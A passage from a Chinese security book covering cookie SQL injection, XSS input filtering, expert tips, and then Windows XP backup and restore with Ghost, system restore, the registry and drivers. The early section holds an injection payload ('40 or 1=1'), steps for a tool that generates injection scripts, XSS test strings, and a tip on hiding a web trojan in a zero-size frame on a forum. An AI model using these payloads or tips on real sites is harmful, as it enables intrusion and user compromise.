Cookies注入是目前流行的一种攻击方式，普通的注入攻击比较容易防御。但如果把注入代码添加到Cookies中提交就往往被忽略。当黑客发现一套程序的Cookies过滤不严时，他可能对该程序攻击。例如注入代码Response.Cookies["uid"].Value=uid;。其作用是记录用户的ID。而当需要用到UID时，就通过用户搜索用户信息。用到的代码如下：

if(Request.Cookies["uid"]!=null)

{

uid=Request.Cookies["uid"].value;

string str="select*from userTable where id="+uid;

}

因此，可以通过专门的Cookies修改工具（如IECookiesView）把Cookies["uid"]的值改成"40 or 1=1"或其他注入代码，以实现Cookies注入攻击。而对于那些对代码不太了解的人，还可以通过Cookies注入工具直接注入。

这里介绍如何使用“Cookies注入器”快速生成注入的ASP脚本。具体的操作步骤如下。

步骤1　下载并运行“Cookies注入器”，在其中设置注入地址以及注入数据等属性，如图12-52所示。

图　12-52　【Cookies注入器】主界面

步骤2　在设置完毕之后，单击【生成ASP】按钮，即可看到【文件成功生成】提示框，如图12-53所示。单击【确定】按钮，即可快速生成注入文件。

图　12-53　【文件成功生成】提示框

如果要预防这类Cookies注入攻击的发生，只要在获得参数UID后对其进行过滤，针对数字参数创建了一个类来判断是否为数字。其中用到的代码如下：

if(Request.Cookies["uid"]!=null)

{

uid=Request.Cookies["uid"].value;

isnumeric cooidesID=new isnumeric();//这是一个类

if(cooidesID.reIsnumeric(ruid))//如果是数字就运行下列代码

{

string str="select*from userTable where id="+uid;

}

}

12.3　恶意脚本入侵的防御

出现脚本攻击的原因在于：网站没有对用户的输入进行严格的过滤。所以只有过滤用户输入的数据，才可以保证网站程序的安全。下面介绍几种防御恶意脚本入侵的方法。

1.过滤“＜”和“＞”等HTML标记

脚本攻击把Script代码引入到目标用户的浏览器内执行。最直接的方法，就是利用HTML标记，如输入“＜script＞alert("跨站攻击")＜/script＞”语句。但很多程序早已针对这样的攻击进行了过滤，最简单安全的过滤方法就是转换“＜”和“＞”等标记，从而截断攻击者输入的跨站代码。相应的过滤代码如下：

〈%

function SqlCheck(fString)

fString=Replace(fString,"'","")

fString=Replace(fString,"","")

fString=Replace(fString,";","")

fString=Replace(fString,"--","")

fString=Replace(fString,",","")

fString=Replace(fString,"(","")

fString=Replace(fString,")","")

fString=Replace(fString,"=","")

fString=Replace(fString,"%","")

fString=Replace(fString,"*","")

fString=Replace(fString,"＜","")

fString=Replace(fString,"＞","")

SqlCheck=fString

end function

%〉

2.过滤HTML标记属性

上面的代码可以过滤掉“＜”和“＞”等标记，让黑客没有办法构造自己的HTML标记了。但可能会利用已经存在的属性，如将图片的路径属性修改为一段Script代码。

黑客插入的图片跨站语句，经过程序的转换后变成了如下形式：

＜img src="javascript:alert(/跨站攻击/)"width=100＞

这段代码执行后同样会实现攻击目的，而且很多HTML标记里的属性都支持“javascript：跨站代码”形式，有很多网站程序也意识到了这个漏洞，对攻击者输入的数据进行了转换：

Dim re

Set re=new RegExp

re.IgnoreCase=True

re.Global=True

re.Pattern="javascript:"

Str=re.replace(Str,"javascript:")

re.Pattern="jscript:"

Str=re.replace(Str,"jscript:")

re.Pattern="vbscript:"

Str=re.replace(Str,"vbscript:")

set re=nothing

在上述代码中用了大量replace函数过滤替换用户输入的"javascript"脚本属性字符，一旦用户输入语句中包含有"javascript"、"jscript"或"vbscript"等字符，就会被替换成空白。

3.过滤特殊的字符：＆、回车和空格

另外，还需要滤掉空格和Tab键等特殊字符，最后，还要过滤掉"script"关键字，并转换掉＆，防止用户通过＆#这样的形式绕过检查，以基本保证网站程序的安全性。虽然舍弃HTML标签功能是最保险的漏洞解决方法，但这会使网站失去很多效果。

12.4　专家点拨

点拨1：在使用asp.dll全面提升ASP木马权限时，为什么会出现无法提升ASP木马权限的情况？

解答：出现这种情况的原因在于，adsutil.vbs权限的使用不当。在使用adsutil.vbs时，一定要把原先的权限也加上，否则原先已加的就会丢失，而且不同条目之间应用空格分开。

点拨2：在攻击雷奥论坛时，为什么需要安装Perl解析器？

解答：由于恶意脚本是基于Perl语言，而Perl是一种解释语言，可作为独立的应用程序使用，也可以结合Apache构建Web应用程序，所以在使用前需要安装Perl解释器。

点拨3：在动网论坛中嵌入网页木马时，应该采取哪些措施来避免用户发现？

解答：如果使用隐藏的方法显示一个网页木马，则用户在查看该帖子时很难发现黑客植入的网页木马，此时将该网页框架长和宽都设置为0，则可实现网页框架隐藏。

12.5　总结与经验积累

本章通过几个入侵实例来介绍恶意脚本的入侵和防御方面的知识，通过对本章的学习，应该了解恶意脚本攻击的一般方法，从而找到破解的方法。网站管理员应该加强网络安全意识，做好防范的工作，从而有效防止黑客利用恶意脚本对论坛进行攻击。

黑客向远程页面中写入恶意代码的方法很多，如在论坛中发帖时，在帖子中加入可执行的代码；在用户信息页面中嵌入脚本代码等。无论采用哪种方式写入执行代码，要求网页程序没有对用户输入的数据进行严格的过滤，所以只要限制了用户写入的字符类型，就可以防御恶意代码入侵。

第13章
数据备份升级与恢复

重点提示

♂全面了解备份升级

♂数据的备份和还原

♂全面了解数据恢复

♂强大的数据恢复工具

随着计算机和网络的不断普及，人们更多地通过网络来传递大量信息。在网络环境下，还有病毒感染、系统故障、线路故障等，使得数据的安全无法得到保证。在这种情况下，数据备份和恢复就成为一种非常重要的措施。如果合理地利用数据备份，那么无论网络硬件还是软件出现问题，都可以很轻松地恢复。

13.1　全面了解备份升级

计算机里面重要的数据、档案或历史记录，不论对企业用户还是对个人用户，一旦不慎丢失，都会造成不可估量的损失。轻者辛苦积累起来的心血付之东流，重者影响企业的正常运作。为保障生产、销售、开发的正常运行，用户应当采取有效措施，对数据进行备份。

13.1.1　数据备份概述

数据备份是为防止系统出现操作失误或系统故障导致数据丢失，而将全部或部分数据集合从应用主机硬盘或阵列复制到其他存储介质的过程，主要采用内置或外置的磁带机进行冷备份，这种方式只能防御操作失误等人为故障，且其恢复时间也很长。现在不少人开始采用网络备份。网络备份是通过专业的数据存储管理软件结合相应硬件和存储设备来实现的。

数据备份按照用户对象一般分为企业数据备份和个人用户数据备份两种。具体描述如下。

企业数据备份：数据备份量大、保密和安全性的要求高，操作相对个人用户的数据备份来说比较复杂。

个人用户数据备份：因为数据备份量小，所以操作比较简单，而且备份工具也容易找到，但数据保密性就比较差。

按照备份的范围不同可将备份分为完全备份、差量备份及增量备份三种。具体作用如下。

（1）完全备份：完全备份即标准备份，是备份全部选中的文件夹。只要是被选中的文件和文件夹，都会被复制一份以备使用，这种备份不依赖文件的存档属性来确定需要备份哪些文件。在完全备份过程中，系统将清除文件原先所有的标记，每个文件都会标记为已经备份。完全备份是目前大多数用户采用的备份方式。

（2）差量备份：在差量备份的过程中，只备份那些经过完全备份而发生改变的文件和文件夹，而不清除文件的标记。即在备份后不会再次标记为已经备份过的文件，因为备份前已经有备份标记。

（3）增量备份：增量备份是针对上一次备份进行备份的，无论上一次是何种形式的备份，这次仅仅是对那些备份过且发生改变的文件进行备份。在增量备份时，只备份那些被选中、有标记的文件和文件夹，同时清除标记；在备份过后再标记文件，也就是清除存档属性。

由于各种原因，重装系统对广大计算机用户来说并不陌生。为避免因为重装系统而造成数据的损失，需要对计算机中的某些数据进行备份。计算机中必须备份的数据有如下几种：

（1）系统文件：系统文件丢失将会导致操作系统无法进入系统，从而影响用户的操作，所以在安装操作系统、驱动程序并打上补丁后，要及时对操作系统进行备份。当系统文件被损坏时，就可以将系统恢复至备份前的状态。

（2）IE收藏夹：很多人都喜欢在浏览器的收藏夹中保存重要的网址，从而方便以后进行浏览，所以要对IE收藏夹进行备份。

（3）日常文档资料：平时使用的各种资料大多都是保存在“我的文档”中，直接复制其中的内容就可以完成备份。有的用户喜欢在Windows系统桌面上存放文档，也要复制这些文档进行备份，否则在进行系统恢复时桌面上的文档就会丢失。

（4）注册表文件：对注册表进行备份是非常重要的，因为很多软件的注册信息都保存在注册表中。对注册表进行备份后，就可以在重装系统后直接把备份的注册信息导入，可以节省大量的时间。

（5）即时通信软件的聊天记录：常见的即时通信软件很多，如QQ、MSN等，这些聊天记录里可能包含重要的信息。可以利用这些软件本身自带“导出”功能将聊天记录导出到指定的目录中。

（6）邮件列表以及邮件内容：主流的邮件客户端一般都自带有E-mail地址备份导出功能，可以利用该功能把E-mail地址和邮件以.txt等格式导出备份。Outlook Express与Fox mail的E-mail地址以及邮件内容都在其安装目录文件夹中。

（7）硬件驱动程序：每次重装系统都要为找不到合适的驱动而头疼，到常见网站下载驱动又显得比较麻烦，所以对系统驱动程序进行备份是非常必要的。

（8）对数据库进行备份：在数据库表丢失或损坏的情况下，备份数据库是很重要的。假如发生系统崩溃，用户肯定想能够将数据表尽可能恢复到崩溃发生时的状态。

13.1.2　系统的补丁升级

任何一个软件产品都不可能在刚问世的时候就完美无缺，何况是超乎寻常复杂的操作系统。Windows XP也是如此，照样存在着数以万计的系统漏洞。给系统升级实际就是给系统打补丁，而补丁也主要是针对操作系统来量身定制的。

当用户在Internet上冲浪、与好友交流时，说不定黑客正在利用系统漏洞让其无法上网，甚至侵入计算机进行一些破坏性操作。及时给操作系统打补丁有如下几个作用：

增强系统安全性。这是最重要的，面对众多的黑客、病毒，微软公司接二连三地推出各种系统安全补丁，主要目的是增强系统的安全性。而且无论用计算机欣赏音乐、上网冲浪、运行游戏，还是编写文档都不可避免地需要涉及补丁程序。

提高系统可靠性和兼容性。有很多补丁可以提高硬件性能，还可使系统更加稳定。

实现更多的功能。补丁中有很多使用的小软件，这些都是微软推荐用户添加的。

下面介绍一下利用Windows系统自动下载补丁升级并修补漏洞。具体的操作步骤如下。

步骤1　右击“我的电脑”图标，在弹出的快捷菜单中选择“属性”选项，即可打开【系统属性】对话框，如图13-1所示。

图　13-1　【系统属性】对话框

步骤2　切换到“自动更新”选项卡，选择“自动更新”单选按钮，在其中设置更新的具体时间，如图13-2所示。单击【确定】按钮，即可在指定的时间安装补丁程序。

图　13-2　“自动更新”选项卡

13.1.3　实现备份操作

网络病毒、后门木马、骇客入侵等安全隐患无时无刻不威胁着系统安全，要求用户经常把重要的文件进行备份。实现备份的方法有很多，利用Windows XP自带备份工具进行文件备份是最简单也是最方便的一种。具体的操作步骤如下。

步骤1　选择【开始】→【所有程序】→【附件】→【系统工具】→【备份】菜单项，即可打开【欢迎使用备份或还原向导】对话框，如图13-3所示。

图　13-3　【欢迎使用备份或还原向导】对话框

步骤2　单击【下一步】按钮，即可打开【备份或还原】对话框，在其中选择“备份文件和设置”单选按钮，如图13-4所示。

图　13-4　【备份或还原】对话框

步骤3　单击【下一步】按钮，即可打开【要备份的内容】对话框，在其中选择“让我选择要备份的内容”单选按钮，如图13-5所示。

图　13-5　【要备份的内容】对话框

步骤4　单击【下一步】按钮，即可打开【要备份的项目】对话框，在其中选中要备份的驱动器、文件夹或文件，如图13-6所示。

图　13-6　【要备份的项目】对话框

步骤5　单击【下一步】按钮，即可打开【备份类型、目标和名称】对话框，如图13-7所示。单击【浏览】按钮，从【另存为】对话框中为备份文件设置文件名和相应保存路径，如图13-8所示。

图　13-7　【备份类型、目标和名称】对话框

图　13-8　【另存为】对话框

步骤6　单击【保存】按钮，返回到【备份类型、目标和名称】对话框中可看到设置的位置，在“键入这个备份的名称”文本框中输入备份的名称，如图13-9所示。

图　13-9　输入备份名称

步骤7　单击【下一步】按钮，即可打开【正在完成备份或还原向导】对话框，在其中检查创建的备份设置，如图13-10所示。

图　13-10　【正在完成备份或还原向导】对话框

步骤8　单击【高级】按钮，即可打开【备份类型】对话框，在其中选择一个自己需要的备份类型，如图13-11所示。单击【下一步】按钮，即可打开【如何备份】对话框，在其中选择相应的复选框，如图13-12所示。

图　13-11　【备份类型】对话框

图　13-12　【如何备份】对话框

步骤9　单击【下一步】按钮，即可打开【备份选项】对话框，选择“将这个备份附加到现有备份”单选按钮，如图13-13所示。

图　13-13　【备份选项】对话框

步骤10　单击【下一步】按钮，即可打开【备份时间】对话框，在其中选择一个合适的备份时间，这里选择“现在”单选按钮，如图13-14所示。

图　13-14　【备份时间】对话框

步骤11　单击【下一步】按钮，即可返回【正在完成备份或还原向导】对话框，如图13-15所示。单击【完成】按钮，即可自动进行文件备份操作，如图13-16所示。

图　13-15　完成高级配置

图　13-16　进行备份操作

步骤12　如果备份顺利完成，则会弹出【备份完成】对话框，如图13-17所示。单击【关闭】按钮，即可关闭对话框，完成备份操作。

图　13-17　【备份完成】对话框

如果因为病毒等多种原因导致数据丢失，则可以通过备份文件进行恢复。具体的操作步骤如下。

步骤1　在【欢迎使用备份或还原向导】对话框中单击【下一步】按钮，即可打开【备份或还原】对话框，在其中选择“还原文件和设置”单选按钮，如图13-18所示。

图　13-18　选择“还原文件和设置”单选按钮

步骤2　单击【下一步】按钮，即可打开【还原项目】对话框，在其中选择想要还原的驱动器、文件夹或文件，如图13-19所示。

图　13-19　【还原项目】对话框

步骤3　单击【下一步】按钮，即可打开【正在完成备份或还原向导】对话框，如图13-20所示。单击【高级】按钮，即可打开【还原位置】对话框，在“将文本还原到”下拉列表中选择备份文件还原的位置，如图13-21所示。

图　13-20　【正在完成备份或还原向导】对话框

图　13-21　【还原位置】对话框

步骤4　单击【下一步】按钮，即可打开【如何还原】对话框，在其中根据实际情况选择相应的单选按钮，这里选择“保留现有文件（推荐）”单选按钮，如图13-22所示。单击【下一步】按钮，即可打开【高级还原选项】对话框，在其中勾选全部的复选框，如图13-23所示。

图　13-22　【如何还原】对话框

图　13-23　【高级还原选项】对话框

步骤5　单击【下一步】按钮，即可打开【正在完成备份或还原向导】对话框，如图13-24所示。单击【完成】按钮，即可自动进行文件的还原操作，如图13-25所示。

图　13-24　完成还原设置

图　13-25　自动还原文件

步骤6　在数据还原完毕之后，即可弹出【完成还原】对话框，如图13-26所示。单击【关闭】按钮，即可关闭对话框完成还原操作。

图　13-26　完成数据还原操作

13.2　对常用的数据进行备份和还原

对计算机中重要的文件进行备份，可以在其丢失的情况下进行恢复，从而将损失降到最低。本节将介绍备份/还原操作系统、注册表、IE收藏夹、驱动病毒库、数据库等内容。

13.2.1　对操作系统进行备份和还原

Windows XP/2003/Vista是用户最经常使用的操作系统，可使用专门的工具（如Ghost）进行备份和还原。另外，Windows XP/Vista系统还可利用系统自带的还原功能进行备份恢复。

1.使用Ghost对系统进行备份和还原

Ghost是广大用户必备的一款备份和还原硬盘数据软件，利用它不但可以将系统进行备份，而且还可以将系统盘所有内容，备份成镜像文件以备需要时进行恢复。一般使用Ghost复制备份的方法有整个硬盘和分区硬盘两种。具体的操作步骤如下。

步骤1　运行Ghost.exe文件后重启系统，在引导菜单中选择Ghost程序，即可进入Ghost窗口，如图13-27所示。单击【OK】按钮，即可进入【Ghost】主窗口，如图13-28所示。

图　13-27　进入Ghost程序

图　13-28　【Ghost】主窗口

步骤2　在【Ghost】主窗口中选择“Local（本地）”选项，在弹出的菜单中有Disk（整个硬盘备份）、Partition（单个分区硬盘备份）和Check（用来检查硬盘或备份的文件，看是否可能因分区、硬盘被破坏等造成备份或还原失败）三个子项，如图13-29所示。

图　13-29　Local子选项

步骤3　在【Ghost】主窗口中选择【Local】→【Partition】→【To Image】菜单项，即可打开【文件选择】窗口，在其中选择要备份的文件，如图13-30所示。

图　13-30　【文件选择】窗口

步骤4　单击【OK】按钮，即可打开【硬盘选择】窗口，使用“上下方向”键选择要备份的分区，如图13-31所示。

图　13-31　【硬盘选择】窗口

步骤5　单击【OK】按钮，即可打开【路径选择】窗口，在其中选择备份文件的存放路径，并在“File name（文件名称）”文本框中输入要创建镜像文件的名称，如图13-32所示。

图　13-32　【路径选择】窗口

步骤6　在【是否对备份的文件进行压缩】提示框中有“No（不压缩）”、“Fast（低压缩）”、“High（高压缩）”三个按钮，如图13-33所示。根据需要单击相应按钮，如单击【High】按钮即可打开【是否使用备份分区】提示框，如图13-34所示。如果硬盘容量足够大，则选择【Fast】按钮，因为这样复制的数据更不易出现错误。单击【Yes】按钮，即可开始进行分区备份。备份速度与内存有关，备份完毕后就可以退出Ghost。

注意　如果要使用备份分区功能，必须有两个以上分区，而且C盘（假设要备份C盘）必须小于D盘的容量，而且还要保证D盘上有足够的空间储存备份文件。

图　13-33　【是否对备份的文件进行压缩】提示框

图　13-34　【是否使用备份分区】提示框

步骤7　当系统无法正常使用时，可以使用刚备份的文件进行恢复。在【Ghost】主窗口中选择【Local】→【Partition】→【From Image】菜单项，即可打开【镜像文件选择】窗口，在其中选择Ghost备份的镜像文件，如图13-35所示。

图　13-35　【镜像文件选择】窗口

步骤8　单击【OK】按钮，在弹出窗口中选择要还原的硬盘，在对硬盘还原前可依据使用要求设定分区大小，最后会弹出“询问是否确定还原”提示框，单击【Yes】按钮，即可进行恢复操作，如图13-36所示。

图　13-36　恢复操作系统

2.使用系统自带的“还原”功能还原操作系统

在Windows XP中运用“系统还原”功能，通过对还原点的设置，牢记对系统所做的更改，即可轻松实现系统恢复。当系统出现故障时，就可以使用该功能将系统恢复到更改之前的状态。具体的操作步骤如下。

步骤1　右击“我的电脑”图标，从弹出的快捷菜单中选择“属性”选项，即可打开【系统属性】对话框，如图13-37所示。切换到“系统还原”选项卡，可看出“系统还原”功能还没有开启，如图13-38所示。

图　13-37　【系统属性】对话框

图　13-38　【系统还原】选项卡

步骤2　取消勾选“在所有驱动器上关闭系统还原”复选框，单击【应用】按钮，即可启动系统还原功能，如图13-39所示。

图　13-39　启用“系统还原”功能

步骤3　 Windows XP的系统还原功能默认是还原所有盘，如果只想还原系统盘，则需在还原前指定关闭其他盘，在“可用的驱动器”列表中选择关闭的驱动器，单击【设置】按钮，即可打开【驱动器设置】对话框，勾选“关闭这个驱动器上的系统还原”复选框，如图13-40所示。

图　13-40　【驱动器设置】对话框

步骤4　单击【确定】按钮，即可看到【是否确定关闭此驱动器上的系统还原】提示框，如图13-41所示。单击【是】按钮，在“可用的驱动器”列表中看到D盘对应的状态已经变为“已关闭”，如图13-42所示。

图　13-41　【是否确定关闭此驱动器上的系统还原】提示框

图　13-42　成功停止对某硬盘的监控

步骤5　选择【开始】→【所有程序】→【附件】→【系统工具】→【系统还原】菜单项，即可打开【还原向导】对话框，在其中选择“创建一个还原点”单选按钮，如图13-43所示。单击【下一步】按钮，即可打开【创建一个还原点】对话框，在“还原点描述”文本框中输入还原点的名称，如图13-44所示。

图　13-43　【还原向导】对话框

图　13-44　【创建一个还原点】对话框

步骤6　单击【创建】按钮，即可打开【还原点已创建】对话框，如图13-45所示。单击【关闭】按钮，即可完成还原点的创建操作。

图　13-45　【还原点已创建】对话框

注意　在创建系统还原点时要确保有足够的硬盘可用空间，否则可能导致创建失败。设置多个还原点的方法与上述一样，这里不再赘述。

步骤7　当电脑遭遇病毒、木马或黑客的攻击时，就可以进行系统还原。在【还原向导】对话框中选择“恢复我的计算机到一个较早的时间”单选按钮，如图13-46所示。

图　13-46　选择“恢复我的计算机到一个较早的时间”单选按钮

步骤8　单击【下一步】按钮，即可打开【选择一个还原点】对话框，在其中显示所有还原点可用的日期，如图13-47所示。

图　13-47　【选择一个还原点】对话框

步骤9　在选择还原点之后，右边将会出现这一天中创建的所有还原点，选择需要还原的还原点并单击【下一步】按钮，即可打开【确认还原点选择】对话框，如图13-48所示。

图　13-48　【确认还原点选择】对话框

步骤10　单击【下一步】按钮，即可开始进行系统还原。由于恢复还原点后系统会自动进行重启，因此，在还原操作之前应该退出当前运行的所有程序，以防止重要文件丢失。

13.2.2　备份/还原注册表

由于注册表直接控制着Windows启动、硬件驱动程序加载以及一些应用程序的运行参数，一旦被破坏，轻者会使Windows系统运行不正常，严重时可能会导致整个系统瘫痪。

1.备份整个注册表

可以使用注册表自带的“导出”功能对整个注册表进行备份。具体的操作步骤如下。

步骤1　在【运行】对话框中输入"regedit"命令，即可打开【注册表编辑器】窗口，如图13-49所示。

图　13-49　【注册表编辑器】窗口

步骤2　如果要备份整个注册表，则右击注册表根目录（即“我的电脑”结点），在弹出的快捷菜单中选择“导出”选项，即可打开【导出注册表文件】对话框，如图13-50所示。

图　13-50　【导出注册表文件】对话框

步骤3　在“文件名”文本框中输入注册表文件的名称及保存的路径之后，单击【保存】按钮，即可将整个注册表文件进行备份（注册表备份文件扩展名为reg）。

2.注册表还原

当注册表文件被黑客破坏后，可以使用备份文件还原注册表。如果能顺利进入Windows图形界面，双击前面备份的reg文件即可将注册表还原至备份时的状态。如果不能进入Windows图形界面，则需要借助Windows XP安装光盘来进行恢复。

具体的操作步骤如下。

步骤1　从光盘启动并进入安装程序后，按R键进入到故障恢复控制台，按照屏幕提示，登录Windows XP系统。

步骤2　把系统目录下repair目录中的system、sam、software、security、default等五个文件复制到C:\System32\Config目录，即可将注册表恢复到系统刚安装时的初始状态。

步骤3　待重启计算机进入Windows XP系统后，将先前备份的注册表文件导入到系统中，即可恢复至注册表备份时的状态。

但如果出现设备或设备驱动程序损坏、系统文件损坏或丢失、硬盘发生逻辑或物理损坏或分区表错误、感染病毒没有彻底清除等情况，将是无法进行注册表恢复的。

13.2.3　备份/还原IE收藏夹

IE收藏夹收藏着经常访问的网页地址，重装系统后这些记录就全部清除了，给用户造成很大的不便，因此备份收藏夹很有必要。对IE收藏夹进行备份和恢复的方法有多种。

1.使用收藏夹备份大师

当重新安装完Windows操作系统时，突然间会发现收藏夹没有备份，为了不让这样的事再发生，就可以使用收藏夹备份大师对系统中的收藏夹进行备份。它能够按时间点来备份收藏夹，恢复也是按时间点来恢复。其使用步骤如下。

步骤1　下载并安装“收藏夹备份大师”之后，选择【开始】→【程序】→【收藏夹备份大师V1.2.4】→【收藏夹备份大师V1.2.4】菜单项，即可打开【收藏夹备份专家V:1.2.4】主界面，如图13-51所示。

图　13-51　【收藏夹备份专家V：1.2.4】主界面

步骤2　使用时先设置收藏夹备份路径，单击【设置备份路径】按钮，即可打开【设置备份路径】对话框，如图13-52所示。

图　13-52　【设置备份路径】对话框

步骤3　单击【浏览】按钮，即可打开【浏览文件夹】对话框，在其中设置收藏夹备份文件的保存位置，如图13-53所示。

图　13-53　【浏览文件夹】对话框

注意　收藏夹备份路径最好不要与操作系统在同一个分区，这样是为了重新安装操作系统后，可以恢复收藏夹。

步骤4　单击【确定】按钮，即可更改收藏夹备份路径。在【收藏夹备份专家V:1.2.4】窗口中单击【压缩备份】按钮，即可对本机中IE收藏夹中的内容进行备份。

步骤5　待备份完毕后，即可在“选择一个还原时间点”栏目中看到该备份时间信息，如图13-54所示（为了节省空间，备份收藏夹采用了压缩备份）。如果需要对收藏夹进行恢复，则在【收藏夹备份专家V:1.2.4】主窗口的“选择一个还原时间点”栏中选择一个时间点，如图13-55所示。

图　13-54　对收藏夹进行备份

图　13-55　选中正确的时间点

步骤6　单击【解压缩恢复】按钮，即可将收藏夹恢复到备份前的状态，待恢复完毕后，即可看到【收藏夹成功恢复】提示框，如图13-56所示。

图　13-56　【收藏夹成功恢复】提示框

2.手工备份收藏夹

这种方法是最简单也是使用人数比较多的一种方法。在Windows XP系统中收藏夹的位置是C:\Documents and Settings\Administrator\，这个文件夹整个就是一个星形图标，如图13-57所示。只需将该星形图标复制到其他硬盘即可实现备份。将备份的文件夹重新复制回原目录，即可恢复IE收藏夹。

图　13-57　Windows XP下的收藏夹

3.IE导出/导入收藏夹

使用IE浏览器自带的导入/导出功能可实现收藏夹的备份与恢复。具体的操作步骤如下。

步骤1　打开IE浏览器，选择【文件】→【导入和导出】菜单项，即可打开【导入/导出向导】对话框，如图13-58所示。

图　13-58　【导入/导出向导】对话框

步骤2　单击【下一步】按钮，即可打开【导入/导出选择】对话框，在“请选择要执行的操作”栏中选择“导出收藏夹”选项，如图13-59所示。

图　13-59　【导入/导出选择】对话框

步骤3　单击【下一步】按钮，即可打开【导出收藏夹源文件夹】对话框，在其中选择整个收藏夹目录，如图13-60所示。

图　13-60　【导出收藏夹源文件夹】对话框

步骤4　单击【下一步】按钮，即可打开【导出收藏夹目标】对话框，如图13-61所示。单击【浏览】按钮，从弹出的对话框中选择要保存收藏夹备份文件的路径或直接输入路径。

图　13-61　【导出收藏夹目标】对话框

步骤5　单击【下一步】按钮，即可打开【正在完成导入/导出向导】对话框，如图13-62所示。单击【完成】按钮，即可完成收藏夹的导出操作并弹出【收藏夹导出成功】提示框，如图13-63所示。

图　13-62　【正在完成导入/导出向导】对话框

图　13-63　【收藏夹导出成功】提示框

步骤6　如果恢复IE收藏夹，则需在【导入/导出选择】对话框的“请选择要执行的操作”列表中选择“导入收藏夹”选项，如图13-64所示。单击【下一步】按钮，即可打开【导入收藏夹的来源】对话框，如图13-65所示。单击【浏览】按钮选择刚备份的文件。

图　13-64　选择“导入收藏夹”选项

图　13-65　【导入收藏夹的来源】对话框

步骤7　单击【下一步】按钮，即可打开【导入收藏夹的目标文件夹】对话框，在其中选择整个收藏夹目录，如图13-66所示。

图　13-66　【导入收藏夹的目标文件夹】对话框

步骤8　单击【下一步】按钮，即可打开【正在完成导入/导出向导】对话框，如图13-67所示。单击【完成】按钮，即可完成收藏夹的导出操作并弹出【收藏夹导入成功】提示框，如图13-68所示。

图　13-67　【完成导入/导出向导】对话框

图　13-68　【收藏夹导入成功】提示框

13.2.4　备份/还原驱动程序

一般当操作系统安装完毕后，首先需要安装硬件设备的驱动程序，如显卡、声卡、网卡等都需要安装驱动程序，对驱动程序进行备份可以避免很多不必要的麻烦。可以使用Windows系统自带的驱动程序恢复功能和专门工具对硬件驱动进行备份和恢复。

1.系统自带的驱动程序恢复功能

使用Windows自带的程序可对本机上安装的驱动程序进行备份和恢复。

具体的操作步骤如下。

步骤1　右击“我的电脑”图标，在弹出的快捷菜单中选择“属性”选项，即可打开【系统属性】对话框，如图13-69所示。切换到“硬件”选项卡，单击【设备管理器】按钮，即可打开【设备管理器】窗口，如图13-70所示。

图　13-69　【系统属性】对话框

图　13-70　【设备管理器】窗口

步骤2　右击要备份的硬件设备（如网卡），在弹出的快捷菜单中选择“属性”选项，即可打开【网卡属性】对话框，在其中可以查看该驱动的详细信息，如图13-71所示。

图　13-71　【网卡属性】对话框

步骤3　切换到“驱动程序”选项卡，即可看到“驱动程序”设置界面，如图13-72所示。单击【驱动程序详细信息】按钮，即可打开【驱动程序文件详细信息】对话框，如图13-73所示。在其中可看到该硬件设备的驱动具体文件路径，可根据路径对该驱动进行备份。

图　13-72　“驱动程序”选项卡

图　13-73　【驱动程序文件详细信息】对话框

步骤4　在【设备管理器】窗口的“硬件”列表中，双击要复原驱动程序的硬件设备。在【显卡属性】对话框中单击“驱动程序”选项卡之后，再单击【返回驱动程序】按钮，即可将驱动程序恢复到原来的驱动程序，如图13-74所示。

图　13-74　单击【返回驱动程序】按钮

2.使用Mydrivers驱动精灵备份驱动程序

驱动精灵不仅可以快速准确地检测识别系统中的所有硬件设备，而且可以通过在线更新及时地升级驱动程序，快速提取、备份及还原硬件设备的驱动程序。驱动精灵是一款帮助用户解决烦琐系统驱动问题的好工具。

使用“驱动精灵”工具来对电脑硬件的驱动进行备份和还原的操作步骤如下。

步骤1　下载安装并运行“驱动精灵”工具之后，即可打开【驱动精灵2009】主窗口，如图13-75所示。单击工具栏中的【驱动备份】按钮，即可打开【本机上已安装的驱动程序】窗口，在其中选择需要备份的驱动程序，如图13-76所示。

图　13-75　【驱动精灵2009】主窗口

图　13-76　【本机上已安装的驱动程序】窗口

步骤2　单击【浏览】按钮，即可打开【Save As】对话框，在其中选择备份文件的保存位置，如图13-77所示。

图　13-77　【Save As】对话框

步骤3　单击【保存】按钮返回到【本机上已安装的驱动程序】窗口，单击【开始备份】按钮，即可开始进行备份，在备份过程中将显示正在备份驱动的各种信息，如图13-78所示。

图　13-78　正在对驱动程序进行备份

步骤4　待备份完成后，将弹出一个【驱动程序备份完成】提示框，如图13-79所示。如果想把驱动程序恢复到备份前的状态，则在【驱动精灵2009】主窗口中单击【驱动还原】按钮，即可打开【显示已备份驱动程序】窗口，如图13-80所示。

图　13-79　【驱动程序备份完成】提示框

图　13-80　【显示已备份驱动程序】窗口

步骤5　在“已备份驱动程序”列表中选择需要还原的驱动程序之后，单击【开始还原】按钮，即可重新安装选定的驱动程序，如图13-81所示。

图　13-81　重新安装选择的驱动程序

步骤6　待还原完毕后，即可看到【是否重启计算机】提示框，如图13-82所示。单击【是】按钮，在重启计算机之后，即可完成对驱动程序进行还原的工作。

图　13-82　【是否重启计算机】提示框

13.2.5　备份/还原病毒库

现在很多流行杀毒软件都具有备份病毒库的功能，当重新安装操作系统后，就可以快速地实现病毒库的重新升级更新。对卡巴斯基2009病毒库进行备份和恢复的操作步骤如下。

步骤1　在【我的电脑】窗口中选择【工具】→【文件夹选项】菜单项，即可打开【文件夹选项】对话框，如图13-83所示。

图　13-83　【文件夹选项】对话框

步骤2　切换到“查看”选项卡，在“隐藏文件和文件夹”栏下选择“显示所有文件和文件夹”单选按钮，如图13-84所示。

图　13-84　“查看”选项卡

步骤3　系统默认卡巴斯基的病毒库保存在C:\Documents and Settings\All Users\Application Data\Kaspersky Lab\AVP7\Bases文件夹中，如图13-85所示。

图　13-85　默认病毒库保存位置

步骤4　将复制Bases文件夹到其他位置，即可完成备份操作。双击桌面上的卡巴斯基快捷图标，即可打开【卡巴斯基2009】主窗口，如图13-86所示。

图　13-86　【卡巴斯基2009】主窗口

步骤5　单击【设置】按钮，即可打开【设置】对话框，如图13-87所示。在“更新”选项卡中单击【设置】按钮，即可打开【更新设置】对话框，如图13-88所示。

图　13-87　【设置】对话框

图　13-88　【更新设置】对话框

步骤6　在“更新源”选项卡中单击【添加】按钮，即可打开【选择更新源】对话框，在其中选择以前备份的文件夹，如图13-89所示。单击【确定】按钮，即可将病毒库备份文件添加到【更新设置】对话框的“更新源”列表中，如图13-90所示。

图　13-89　【选择更新源】对话框

图　13-90　添加的数据库备份文件

步骤7　单击【确定】按钮，即可将病毒库恢复到备份前的状态。

13.2.6　备份/还原数据库

